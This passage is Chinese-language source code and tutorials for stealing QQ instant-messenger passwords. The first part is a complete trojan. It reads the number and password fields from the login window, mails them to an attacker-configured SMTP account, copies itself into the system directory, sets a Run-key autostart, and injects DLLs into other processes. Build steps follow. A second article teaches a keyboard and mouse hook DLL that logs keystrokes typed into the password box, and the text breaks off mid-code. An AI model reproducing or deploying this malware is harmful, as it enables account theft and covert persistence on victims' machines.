const long lPassWindowStyle1 = 0x500100a0;
//QQ注册向导窗口的号码窗口样式
const long lNumWindowStyle2 = 0x50012080;
//QQ注册向导窗口的密码窗口样式
const long lPassWindowStyle2 = 0x500100a0;

HWND hLoginWindow, hNumWindow, hPassWindow;
char achNum[10], achPass[17], achFmtResult[40];
DWORD ThreadID;

while(1)
{
Sleep(200);

//找到QQ登录窗口
if ((hLoginWindow = FindWindow(pchWinClass, NULL)) != NULL)
{
//获取QQ用户登录对话框里面的号码窗口和密码窗口的句柄
hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle1);
hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle1);
//如果句柄都有效
if ((hNumWindow && hPassWindow))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));

//当句柄仍然有效时,说明用户没有点击进入下一步窗口的
//按钮,则可能还没有输完号码和密码,所以要一直得到这
//两个窗口的内容,直到窗口无效
while(GetStyleWindow(hNumWindow, lNumWindowStyle1)
&& GetStyleWindow(hPassWindow, lPassWindowStyle1))
{
ZeroMemory(achNum, sizeof(achNum));
ZeroMemory(achPass, sizeof(achPass));
SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);

if (lstrlen(achPass))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));
wsprintf(achFmtResult, "%s:%s", achNum, achPass);
}

Sleep(20);
}

//用户可能使用QQ注册向导登录,所以号码或者密码可能
//为空,这样就不记录
if (lstrlen(achFmtResult) > 6)
{
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)SendPass,
achFmtResult,
0,
&ThreadID);

Sleep(2000);
}
}

//获取QQ注册向导对话框里面的号码窗口和密码窗口的句柄
hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle2);
hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle2);

//如果句柄都有效
if ((hNumWindow && hPassWindow))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));

//当句柄仍然有效时,说明用户没有点击进入下一步窗口的
//按钮,则可能还没有输完号码和密码,所以要一直得到这
//两个窗口的内容,直到窗口无效
while(GetStyleWindow(hNumWindow, lNumWindowStyle2)
&& GetStyleWindow(hPassWindow, lPassWindowStyle2))
{
ZeroMemory(achNum, sizeof(achNum));
ZeroMemory(achPass, sizeof(achPass));
SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);

if (lstrlen(achPass))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));
wsprintf(achFmtResult, "%s:%s", achNum, achPass);
}

Sleep(20);
}

if (lstrlen(achFmtResult) > 6)
{
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)SendPass,
achFmtResult,
0,
&ThreadID);

Sleep(2000);
}
}
}
}

return 0;
}

//---------------------------------------------------------------------
//发送QQ密码的线程函数
DWORD WINAPI SendPass(char *pchFmtResult)
{
SMTPINFO smtpinfo = {"smtp服务器名", "smtp端口", "用户名", "密码", 
"收信人", "发信人", "", ""};

lstrcpy(smtpinfo.Subject, pchFmtResult);

return SendMail(&smtpinfo);

}


/*---------------------------------------------------------------------
//GetStyleWindow.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle)
{
//如果这个窗口符合查找条件,返回此句柄
if (GetWindowLong(hFatherWindow, GWL_STYLE) == lstyle)
{
return hFatherWindow;
}

HWND hNextWindow, hDestWindow;

//得到子窗口句柄
if ((hNextWindow = GetWindow(hFatherWindow, GW_CHILD))!= NULL)
{
//递归查找子窗口
if ((hDestWindow = GetStyleWindow(hNextWindow, lstyle)) != NULL)
{
return hDestWindow;
}
}

//递归查找兄弟窗口
if ((hNextWindow = GetWindow(hFatherWindow, GW_HWNDNEXT)) != NULL)
{
return GetStyleWindow(hNextWindow, lstyle);
}

//没有匹配的则返回NULL
return NULL;
}

/*---------------------------------------------------------------------
//AddPrivilege.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID Luid;

if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
&hToken))
{
#ifdef _DEBUG
printf("OpenProcessToken error./n");
#endif
return 1;
}

if (!LookupPrivilege&#118alue(NULL,Name,&Luid))
{
#ifdef _DEBUG
printf("LookupPrivilege&#118alue error./n");
#endif
return 1;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = Luid;

if (!AdjustTokenPrivileges(hToken,
0,
&tp,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL))
{
#ifdef _DEBUG
printf("AdjustTokenPrivileges error./n");
#endif
return 1;
}

return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//CopySelfToSys.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//复制自身到系统目录
int CopySelfToSys(char *pAim)
{
//pAim:[in,out],初始为存放目标文件名缓冲区的指针,
//函数向缓冲区返回完整路径的目标文件名
char DestName[MAX_PATH + 1];
char NowName[MAX_PATH + 1];

ZeroMemory(DestName,MAX_PATH + 1);
ZeroMemory(NowName,MAX_PATH + 1);

if (!GetSystemDirectory(DestName, MAX_PATH))
{
//printf("GetSystemDirectory() error = %d/nInstall failure!/n",GetLastError());
return 1;
}

lstrcat(DestName,"//");
lstrcat(DestName,pAim);
lstrcpy(pAim, DestName);

if (!GetModuleFileName(NULL, NowName, MAX_PATH))
{
//printf("GetModuleFileName() error = %d/nInstall failure!/n",GetLastError());
return 1;
}

if (!CopyFile(NowName, DestName, 0))
{
//printf("CopyFile() error = %d/nInstall failure!/n",GetLastError());
return 1;
}


return 0;
}

/*---------------------------------------------------------------------
//GetOsVer.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------

//判断系统版本
int GetOsVer(void)
{
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx (&osvi);

//95,98 or Me
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{
return 1;
}

//NT,2000,xp or 2003
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
return 2;
}

//Other
return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//InjectDll.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
int InjectDll(const char *FullName, const DWORD Pid)
{
HANDLE hRemoteProcess;

//如果是要打开系统进程,一定要先申请debug权限
AddPrivilege(SE_DEBUG_NAME);

if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | //允许远程VM操作
PROCESS_VM_WRITE | //允许远程VM写
PROCESS_VM_READ, //允许远程VM读
0,
Pid)) == NULL)
{
#ifdef _DEBUG
printf("OpenProcess() error./n");
#endif
return 1;
}

char *pDllName;

if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
NULL,
lstrlen(FullName) + 1,
MEM_COMMIT,
PAGE_READWRITE)) == NULL)
{
#ifdef _DEBUG
printf("VirtualAllocEx() error./n");
#endif
return 1;
}

//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
if (WriteProcessMemory(hRemoteProcess,
pDllName,
(void *)FullName,
lstrlen(FullName),
NULL) == 0)
{
#ifdef _DEBUG
printf("WriteProcessMemory() error./n");
#endif
return 1;
}


//计算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr;

if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
{
#ifdef _DEBUG
printf("GetProcAddress() error./n");
#endif
return 1;
}


HANDLE hRemoteThread;
DWORD ThreadId;

if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
NULL,
0,
pfnStartAddr, //LoadLibraryA的入口地址
pDllName,
0,
&ThreadId)) == NULL)
{
#ifdef _DEBUG
printf("CreateRemoteThread() error./n");
#endif
return 1;
}

return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//ProcessToPID.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.24
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <string.h>
#include <windows.h>
/*---------------------------------------------------------------------
功能:得到进程名对应的Pid
要求:win2000以上系统,使用Psapi.dll
返回值:未找到则返回0,否则返回第一个符合条件的pid
说明:因为可能有相同进程名的多个实例存在,所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL,如果aPid为NULL,函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/

DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024])
{

typedef BOOL (CALLBACK* EnumProcessesType)(DWORD *,DWORD,DWORD *);
typedef BOOL (CALLBACK* EnumProcessModulesType)(HANDLE,HMODULE *,DWORD,LPDWORD);
typedef DWORD (CALLBACK* GetModuleBaseNameType)(HANDLE, HMODULE, LPTSTR, DWORD);

EnumProcessesType EnumProcesses;
EnumProcessModulesType EnumProcessModules;
GetModuleBaseNameType GetModuleBaseName;


HMODULE hmPsapi = GetModuleHandle("psapi.dll");

if (hmPsapi == NULL)
{
if ((hmPsapi = LoadLibrary("psapi.dll")) == NULL)
{
#ifdef _DEBUG
printf("LoadLibrary() error : %d/n", GetLastError());
#endif
return 0;
}

}

EnumProcesses = (EnumProcessesType)GetProcAddress(hmPsapi, "EnumProcesses");
EnumProcessModules = (EnumProcessModulesType)GetProcAddress(hmPsapi, "EnumProcessModules");
GetModuleBaseName = (GetModuleBaseNameType)GetProcAddress(hmPsapi, "GetModuleBaseNameA");

#ifdef _DEBUG
if(!EnumProcesses)
printf("EnumProcesses == NULL/n");
if(!EnumProcessModules)
printf("EnumProcessModules == NULL/n");
if(!GetModuleBaseName)
printf("GetModuleBaseName == NULL/n");
#endif

if (!(EnumProcesses &&
EnumProcessModules &&
GetModuleBaseName))
{
FreeLibrary(hmPsapi);

#ifdef _DEBUG
printf("GetProcAddress() error : %d/n", GetLastError());
#endif
return 0;
}

DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i , j;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";


// 计算目前有多少进程, aProcesses[]用来存放有效的进程PID
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
#ifdef _DEBUG
printf("EnumProcesses() error : %d/n", GetLastError());
#endif

FreeLibrary(hmPsapi);
return 0;
}

cProcesses = cbNeeded / sizeof(DWORD);

// 按有效的PID遍历所有的进程
for ( i = 0, j = 0; i < cProcesses; i++ )
{
// 打开特定PID的进程
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE,
aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName));

//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!stricmp(szProcessName, ProcessName))
{
CloseHandle( hProcess );

//如果接收缓冲区有效,就依次填入pid,否则立即返回
if (aPid != NULL)
{
aPid[j++] = aProcesses[i];
}
else
{
FreeLibrary(hmPsapi);
#ifdef _DEBUG
printf("Pid is %d/n", aProcesses[i]);
#endif
return aProcesses[i];
}

}
}
}
}

CloseHandle( hProcess );

if (aPid != NULL)
{
FreeLibrary(hmPsapi);
#ifdef _DEBUG
printf("Pid is %d/n", aPid[0]);
#endif
return aPid[0];
}

#ifdef _DEBUG
printf("Not find %s/n", ProcessName);
#endif

FreeLibrary(hmPsapi);
return 0;
}
//---------------------------------------------------------------------

/*---------------------------------------------------------------------
//RegStart.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//加入注册表自启动项
void RegStart(const char *KeyName, const char *Key&#118alue)
{
HKEY phkResult;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE//Microsoft//Windows//CurrentVersion//Run",
0,
NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,
NULL,
&phkResult,
NULL);

RegSet&#118alueEx(phkResult,
KeyName,
0,
REG_SZ,
(unsigned char *)Key&#118alue,
lstrlen(Key&#118alue) + 1);

RegCloseKey(phkResult);

}

//---------------------------------------------------------------------


/*---------------------------------------------------------------------
//SendMail.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.11.2
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif

#include "GQPSvr.h"
#include <winsock2.h>
#include <windows.h>
//---------------------------------------------------------------------
void Base64(unsigned char chasc[3],unsigned char chuue[4]);
int Talk(SOCKET sockid, const char *OkCode, char *pSend);
//---------------------------------------------------------------------
int SendMail(const SMTPINFO *psmtpinfo)
{
//准备网络连接
WSADATA wsadata;

if (WSAStartup(MAKEWORD(2,2),&wsadata) != 0)
{
#ifdef _DEBUG
printf("WSAStartup() error : %d/n", GetLastError());
#endif
return 1;
}

//创建套接字
SOCKET sockid;

if ((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
{
#ifdef _DEBUG
printf("socket() error : %d/n", GetLastError());
#endif
WSACleanup();
return 1;
}

//得到smtp服务器ip
struct hostent *phostent = gethostbyname(psmtpinfo->SmtpSrvName);
struct sockaddr_in addr;

CopyMemory(&addr.sin_addr.S_un.S_addr,
phostent->h_addr_list[0],
sizeof(addr.sin_addr.S_un.S_addr));

#ifdef _DEBUG
struct in_addr srvaddr;
CopyMemory(&srvaddr, &addr.sin_addr.S_un.S_addr, sizeof(struct in_addr));
printf("Smtp server name is %s/n", psmtpinfo->SmtpSrvName);
printf("Smtp server ip is %s/n", inet_ntoa(srvaddr));
#endif

addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(psmtpinfo->Port));
ZeroMemory(&addr.sin_zero, 8);

//连接服务器
if (connect(sockid, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
{
#ifdef _DEBUG
printf("connect() error : %d/n", GetLastError());
#endif
goto STOP;
}

if (Talk(sockid, "220", "EHLO sjdf"))
{
goto STOP;
}

if (Talk(sockid, "250", "AUTH LOGIN"))
{
goto STOP;
}

//将用户名和密码转换为base64编码
const int buflen = 256;
char buf[buflen];
int i,userlen,passlen;

ZeroMemory(buf, buflen);

userlen = lstrlen(psmtpinfo->UserName);
passlen = lstrlen(psmtpinfo->Password);

for(i = 0; i < (userlen%3?userlen/3+1:userlen/3); i++)
{
Base64(psmtpinfo->UserName + i * 3, buf + i * 4);
}

if (Talk(sockid, "334", buf))
{
goto STOP;
}

ZeroMemory(buf, buflen);

for(i = 0; i < (passlen%3?passlen/3+1asslen/3); i++)
{
Base64(psmtpinfo->Password + i * 3, buf + i * 4);
}

if (Talk(sockid, "334", buf))
{
goto STOP;
}

ZeroMemory(buf, buflen);
wsprintf(buf, "MAIL FROM:<%s>", psmtpinfo->From);

if (Talk(sockid, "235", buf))
{
goto STOP;
}

ZeroMemory(buf, buflen);
wsprintf(buf, "RCPT TO:<%s>", psmtpinfo->To);

if (Talk(sockid, "250", buf))
{
goto STOP;
}

if (Talk(sockid, "250", "DATA"))
{
goto STOP;
}

ZeroMemory(buf, buflen);
wsprintf(buf, "TO: %s/r/nFROM: %s/r/nSUBJECT: %s/r/n%s/r/n/r/n.",
psmtpinfo->To,psmtpinfo->From,psmtpinfo->Subject,psmtpinfo->Msg);
if (Talk(sockid, "354", buf))
{
goto STOP;
}

if (Talk(sockid, "250", "QUIT"))
{
goto STOP;
}

if (Talk(sockid, "221", ""))
{
goto STOP;
}
else
{
closesocket(sockid);
WSACleanup();
return 0;
}

STOP:
closesocket(sockid);
WSACleanup();
return 1;
}
//---------------------------------------------------------------------
int Talk(SOCKET sockid, const char *OkCode, char *pSend)
{
const int buflen = 256;
char buf[buflen];
ZeroMemory(buf, buflen);

//接收返回信息
if (recv(sockid, buf, buflen, 0) == SOCKET_ERROR)
{
#ifdef _DEBUG
printf("recv() error : %d/n", GetLastError());
#endif
return 1;
}

#ifdef _DEBUG
printf("%s/n", buf);
#endif

if (strstr(buf, OkCode) == NULL)
{
#ifdef _DEBUG
printf("Error: recv code != %s/n", OkCode);
#endif
return 1;
}

//发送命令
if (lstrlen(pSend))
{
ZeroMemory(buf, buflen);
wsprintf(buf, "%s/r/n", pSend);

#ifdef _DEBUG
printf("%s/n", buf);
#endif

if (send(sockid, buf, lstrlen(buf), 0) == SOCKET_ERROR)
{
#ifdef _DEBUG
printf("send() error : %d/n", GetLastError());
#endif
return 1;
}
}

return 0;
}
//---------------------------------------------------------------------
//Base64编码,chasc:未编码的二进制代码,chuue:编码过的Base64代码
void Base64(unsigned char chasc[3],unsigned char chuue[4])
{
int i,k=2;
unsigned char t = 0;

for(i=0;i<3;i++)
{

*(chuue+i)=*(chasc+i)>>k;
*(chuue+i)|=t;
t=*(chasc+i)<<(8-k);
t>>=2;
k+=2;
}

*(chuue+3)=*(chasc+2)&63;

for(i=0;i<4;i++)

if((*(chuue+i)>=0)&&(*(chuue+i)<=25)) *(chuue+i)+=65;

else if((*(chuue+i)>=26)&&(*(chuue+i)<=51)) *(chuue+i)+=71;

else if((*(chuue+i)>=52)&&(*(chuue+i)<=61)) *(chuue+i)-=4;

else if(*(chuue+i)==62) *(chuue+i)=43;

else if(*(chuue+i)==63) *(chuue+i)=47;

}


编译:

首先把你的邮箱信息在GetQQPass.c那个文件里面改成自己的。
然后用lcc编译器,其实一起编译也是可以的,这样分开只是看着清楚些。

lc -c -O GQPSvr.c
lc -c -O getqqpass.c
lc -c -O getosver.c
lc -c -O injectdll.c
lc -c -O CopySelfToSys.c
lc -c -O RegStart.c
lc -c -O AddPrivilege.c
lc -c -O GetStyleWindow.c
lc -c -O sendmail.c
lc -c -O processtopid.c
lc -c -O NT_GQP_DLL.c
lc -c -O NT_Plus_Dll.c

然后把两个dll连接了:

lcclnk -s -dll -entry DllMain NT_GQP_DLL.obj sendmail.obj GetStyleWindow.obj GetQQPass.obj ws2_32.lib

lcclnk -s -dll -entry DllMain NT_Plus_Dll.obj injectdll.obj Processtopid.obj AddPrivilege.obj

这样会生成两个dll:NT_GQP_DLL.dll和nt_plus_dll.dll,再用bin2txt工具这个程序把这两个dll文件转换成数据文件,分别叫做GQP_Data.h和Plus_Data.h,把里面的数据放在三个大数组里GQP_Dll_Data1,GQP_Dll_Data2和GQP_Dll_Data3还有Plus_DLL_Data1,Plus_DLL_Data2,Plus_DLL_Data3。(用三个是因为lcc编译器不支持太多的行,如果用vc编译,直接放在一个数组里就行了。)

这样主程序就可以编译通过了。
lcclnk -s -subsystem windows GQPSvr.obj RegStart.obj copyselftosys.obj getosver.obj injectdll.obj AddPrivilege.obj GetStyleWindow.obj sendmail.obj processtopid.obj getqqpass.obj ws2_32.lib 
--------------------------------------------------------------------------------

作者: 變態熱狗

  利用钩子获取QQ密码


作者: yafizyh (亚斐)

新版QQ客户端发布了,除了在界面上焕然一新外,QQ对密码的保护是否健全,是否真正维护了用户的合法权益呢?带着这个疑问,我做了一些尝试,结果很让人失望,通过很简单的编程手段即可编写一个盗取QQ密码的程序。下面讲述一下实现方法(不要怪我助纣为虐,毕竟,是只羊就别指望没有狼来吃你),同时这个程序也是一个很有价值的实例,其中包括钩子函数、DLL的数据共享、进程间通讯等。 
   程序包括两部分: DLL部分实现钩子函数,EXE部分实现辅助功能。 
   一、   EXE部分。 
   利用向导建立一个对话框实例,取名“QQGPS”。因为程序运行时不应有界面,所以要在这个实例的基础上进行改造。 
删除对话框模板,对话框类的.h文件、.cpp文件及包含相应文件的#include语句。 
   利用向导从基类“CFrameWnd”派生新类“CMainWnd”。 
   添加函数BOOL CreateFrame();其代码如下: 
BOOL CMainWnd::CreateFrame() 

   RECT rt={0,0,1,1}; 
   BOOL ret=FALSE; 
   ret=CWnd::CreateEx(0,AfxRegisterWndClass(0), 
   "yafi",~WS_VISIBLE,rt,0,0);//创建一个不可见的窗口。 
   SetTimer(0,500,NULL);//创建定时器 
   return ret; 

   改写原有的CQQGPSApp::InitInstance函数。 
BOOL CQQGPSApp::InitInstance() 

   CMainWnd*pWnd=new CMainWnd(); 
   pWnd->CreateFrame(); 
   m_pMainWnd=pWnd; 
   return TRUE;// 返回TRUE,开始消息循环。 

   到现在为止,已经生产出了一个框架,拥有消息处理功能,没有界面。下面再添加对定时器的消息处理函数。在QQ运行时该函数将查找其上面的两个编辑框的窗口句柄,并将其传递给DLL。 
void CMainWnd::OnTimer(UINT nIDEvent) 

   // TODO: Add your message handler code here and/or call default 
   HWND hdlg=NULL,handle1=NULL,handle2=NULL,hID; 
   BOOL stop=0; 
   CString title; 
   int num=0; 
   while(!stop&&num<50) 
   { 
      handle1=::FindWindow("#32770",NULL); 
      if(handle1!=NULL) 
      { 
         handle2=::FindWindowEx(handle1,NULL,"Static",NULL); 
         ::GetWindowText(handle2,title.GetBufferSetLength(20),20); 
         if(title=="QQ号码:") 
         { 
            stop=TRUE; 
            hdlg=handle1; 
         } 
      } 
      num++; 
   } 
   if(hdlg!=NULL) //此为QQ对话框的窗口句柄 
   { 
      stop=0; 
      num=0; 
      while(!stop&&num<50) 
      { 
         handle1=::FindWindowEx(hdlg,NULL,"ComboBox",NULL); 
         if(handle1!=0) 
         { 
            handle2=::FindWindowEx(handle1,NULL,"Edit",NULL); 
            if(handle2!=NULL) 
            { 
               hID=handle2;//此为号码编辑框窗口句柄 
               stop=TRUE; 
            } 
         } 
      } 
      if(stop) 
      { 
         stop=0; 
         num=0; 
         while(!stop&&num<50) 
         { 
            handle1=::FindWindowEx(hdlg,NULL,"Edit",NULL); 
            if(handle1!=0)//此为密码编辑框窗口句柄 
            { 
               stop=TRUE; 
               if(HookStart(this->m_hWnd ,handle1,hID))//DLL的导出函数 
               KillTimer(0);//发现QQ运行,启动钩子函数,关闭定时器 
            } 
         } 
      } 
   } 
   CFrameWnd::OnTimer(nIDEvent); 
}

二、   DLL部分。 
   使用向导生成MFC AppWizard (DLL)实例,取名“QQGPD”。在头文件中添加代码。 
#define QQGPD_API __declspec(dllexport) 
QQGPD_API BOOL HookStart(HWND hWnd=NULL,HWND hWndCtlPW=NULL,HWND hWndCtlID=NULL);//导出函数,挂接构子 
QQGPD_API BOOL HookStop();//导出函数,卸载钩子 
   在cpp文件顶端添加代码: 
#pragma data_seg("Shared") 
HHOOK g_hhookKey=NULL; 
HHOOK g_hhookMouse=NULL; 
HWND g_hWnd=NULL; 
HWND g_hWndCtlPW=NULL; 
HWND g_hWndCtlID=NULL; 
#pragma data_seg()

#pragma comment(linker,"/SECTION:Shared,RWS")

CString g_strKey,g_strID;//DLL全局变量分别用于接收密码及号码 
HINSTANCE g_hinstDll=NULL;// DLL全局变量记载DLL的实例句柄 
   这里有几行代码很奇怪#pragma data_seg("Shared") #pragma data_seg() #pragma comment(linker,"/SECTION:Shared,RWS") 他们的作用是使前两条语句之间的变量成为所有实例的共享数据。必须对他们赋初值。 
   详细说明一下,若他们为全局变量,当程序“QQGPS”运行时,“QQGPS”进程将加载DLL,并将三个参数传递给DLL。QQ客户端程序运行时,由于被挂接了钩子,也将加载DLL。好了,现在有两个DLL的实例,分别运行于两个不同进程的地址空间,在“QQGPS”进程中给DLL传递了参数,而在QQ客户端被加载的DLL的相应变量并未改变,事实上他们的值将是初始化时对他们赋的值。 
   以上方法同样适用于可执行文件,使多个可执行文件共享一个变量。 
   接下来添加导出函数: 
BOOL HookStart(HWND hWnd ,HWND hWndCtlPW,HWND hWndCtlID)//挂结钩子 

   if(g_hhookKey!=NULL││g_hhookMouse!=NULL) 
      return 0; 
   g_hWnd=hWnd;//主窗口句柄 
   g_hWndCtlPW=hWndCtlPW;//密码编辑框窗口句柄 
   g_hWndCtlID=hWndCtlID;//号码编辑框窗口句柄 
   g_hhookKey=::SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHookProc,g_hinstDll,::GetWindowThreadProcessId(hWndCtlPW,NULL));//为QQ挂接键盘钩子
   g_hhookMouse=::SetWindowsHookEx(WH_MOUSE,(HOOKPROC)MouseHookProc,g_hinstDll,::GetWindowThreadProcessId(hWndCtlPW,NULL));// 为QQ挂接鼠标钩子 
   return (g_hhookKey!=NULL)&&(g_hhookMouse!=NULL); 

BOOL HookStop()//卸载钩子 

   BOOL ret1=0,ret2=0; 
   if(g_hhookKey!=NULL) 
      ret1=::UnhookWindowsHookEx(g_hhookKey); 
   if(g_hhookMouse!=NULL) 
      ret2=::UnhookWindowsHookEx(g_hhookMouse); 
   g_hhookKey=NULL; 
   g_hhookMouse=NULL; 
   return ret1&&ret2; 

   下面两个为相应的钩子函数。 
LRESULT MouseHookProc(int nCode,WPARAM wParam,LPARAM lParam)//鼠标钩子函数在点击“登录”按钮时发送信息 

   MOUSEHOOKSTRUCT *MouseInfo=(MOUSEHOOKSTRUCT*)lParam; 
   CString title,str; 
   CWnd wnd; 
   if((nCode==HC_ACTION)&&(wParam==WM_LBUTTONDOWN)) 
   { 
      wnd.Attach(MouseInfo->hwnd); 
      wnd.GetWindowText(title); 
      wnd.Detach(); 
      if(title=="登录") 
      { 
         if(g_strKey.GetLength()>0) 
         {    
            ::SendMessage(g_hWndCtlID,WM_GETTEXT,20,(LPARAM)g_strID.GetBufferSetLength(20));//获取号码 
            str="号码:"; 
            str+=g_strID; 
            str.ReleaseBuffer(); 
            str+="密码:"; 
            str+=g_strKey; 
            ATOM atom=::GlobalAddAtom(str.GetBuffer(0));//使用全局原子表进行进程间通讯 
            ::PostMessage(g_hWnd,WM_GETPW,(WPARAM)atom,1); 
         }else 
         { 
            ::PostMessage(g_hWnd,WM_GETPW,0,0); 
         } 
         g_strKey="/0"; 
      }else if(title=="取消") 
      { 
         ::PostMessage(g_hWnd,WM_GETPW,0,0); 
         g_strKey="/0"; 
      }else if(title=="注册向导") 
      { 
         ::PostMessage(g_hWnd,WM_GETPW,0,0); 
         g_strKey="/0"; 
      } 
   } 
   return ::CallNextHookEx(g_hhookMouse,nCode,wParam,lParam); 

LRESULT KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam)//键盘钩子函数,拦截发送给密码框的键盘信息 

   BOOL bCap=((::GetKeyState(VK_CAPITAL)&0x01)!=0); 
   BOOL bShift=((::GetKeyState(VK_SHIFT)&0x8000)!=0); 
   char ch=1; 
   CString str; 
   if((nCode==HC_ACTION)&&(lParam&0x40000000)&&(::GetFocus()==g_hWndCtlPW))//只在按键盘(而非松开时)并且密码编辑框获得光标时执行以下代码 
   { 
      if((wParam==0x08)&&(g_strKey.GetLength()>0))//Backspace 
      { 
         g_strKey.Delete(g_strKey.GetLength()-1,1); 
      }else if(wParam>=0x41&&wParam<=0x5A)// a——z或A——Z 
      { 
         ch=::MapVirtualKey(wParam,2)&0xff; 
         g_strKey+=(char)(bCap^bShift ? ch : ch+32); 
      }else if(wParam>=0x30&&wParam<=0x39)// 0——9 
      { 
         ch=::MapVirtualKey(wParam,2)&0xff; 
         if(!bShift) 
            g_strKey+=ch; 
         else 
         { 
            switch(ch) 
            { 
            case '1': 
               g_strKey+='!'; 
               break; 
            case '2': 
               g_strKey+='@'; 
               break; 
            case '3': 
               g_strKey+='#'; 
               break; 
            case '4': 
               g_strKey+='$'; 
               break; 
            case '5': 
               g_strKey+='%'; 
               break; 
            case '6': 
               g_strKey+='^'; 
               break; 
            case '7': 
               g_strKey+='&'; 
               break; 
            case '8': 
               g_strKey+='*'; 
               break; 
